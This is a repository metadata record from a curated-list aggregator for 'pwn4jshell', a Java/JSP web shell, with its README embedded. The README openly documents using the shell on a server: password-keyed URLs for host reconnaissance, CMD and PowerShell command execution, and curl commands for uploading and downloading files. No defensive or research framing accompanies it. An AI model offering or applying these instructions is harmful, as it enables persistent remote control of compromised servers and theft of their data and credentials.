{"id":13778339,"url":"https://github.com/0x4e0x650x6f/pwn4jshell","last_synced_at":"2025-05-11T11:35:31.518Z","repository":{"id":146549501,"uuid":"118609142","full_name":"0x4E0x650x6F/pwn4jshell","owner":"0x4E0x650x6F","description":"Java Web shell project","archived":false,"fork":false,"pushed_at":"2021-10-22T11:14:55.000Z","size":15,"stargazers_count":12,"open_issues_count":0,"forks_count":4,"subscribers_count":1,"default_branch":"master","last_synced_at":"2024-06-26T06:34:43.461Z","etag":null,"topics":["java","webshell"],"latest_commit_sha":null,"homepage":null,"language":"Java","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/0x4E0x650x6F.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2018-01-23T12:43:44.000Z","updated_at":"2024-04-12T10:12:46.000Z","dependencies_parsed_at":"2023-05-18T12:32:14.162Z","dependency_job_id":null,"html_url":"https://github.com/0x4E0x650x6F/pwn4jshell","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/0x4E0x650x6F%2Fpwn4jshell","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/0x4E0x650x6F%2Fpwn4jshell/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/0x4E0x650x6F%2Fpwn4jshell/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/0x4E0x650x6F%2Fpwn4jshell/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/0x4E0x650x6F","download_url":"https://codeload.github.com/0x4E0x650x6F/pwn4jshell/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":213837545,"owners_count":15645729,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["java","webshell"],"created_at":"2024-08-03T18:00:53.132Z","updated_at":"2024-08-03T18:04:45.649Z","avatar_url":"https://github.com/0x4E0x650x6F.png","language":"Java","funding_links":[],"categories":["\u003ca id=\"faa91844951d2c29b7b571c6e8a3eb54\"\u003e\u003c/a\u003e新添加"],"sub_categories":[],"readme":"# pwn4jshell\nJava Web shell project\n\nIdea of creating, webshell with suport to old versions of java. \nBuilding it in jsp means the code compilation will happend at the server side\nwith the server compiler, making it easyer and less likely to run into\ncompatibility issues. \nOther than api... and sintax things should be easy. \n\n\n## Credits\nSome of the code in this project is based on work from other ppl.   \nFor file upload based on Boris Von Leosch.\n\n## Example\n\n### Get basic host information.\nInformation includes java system properties. \nGlobal JNDI Config if specifically if they implement DataSource.\nHostname and Ip configuration.\n \nhttp://{ip}:8080/pwn4jshell/shell.jsp?pass=key\n\n### Execute CMD command Execution\nhttp://{ip}:8080/pwn4jshell/?pass=key\u0026action=exec\u0026args=dir\n\n### Powershell Command execution \nhttp://{ip}:8080/pwn4jshell/?pass=key\u0026action=power\u0026args=dir\n\n### Upload a file \ncurl -X POST -F \"file=@{file to upload}\" \"http://{ip}:8080/?pass=key\u0026action=up\u0026path={destination}\"\n\nif the path is not set the file will be placed in the same dir as the shell.jsp\n\n## Download file or directory\ncurl \"http://{ip}:8080/pwn4jshell/?pass=key\u0026action=down\u0026path={pathToFile}\u0026args=shell.jsp\" \n\nsame as upload if path is not set will try to download the file from the same dir as shell.jsp \n\n\n## sponsor de project. \n\nBTC: bc1qhzp6d5rtczyffwfaqxlca8cfqhc5m0xzarjy6ve8ujmxmgecmpeq08vppv\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F0x4e0x650x6f%2Fpwn4jshell","html_url":"https://awesome.ecosyste.ms/projects/github.com%2F0x4e0x650x6f%2Fpwn4jshell","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F0x4e0x650x6f%2Fpwn4jshell/lists"}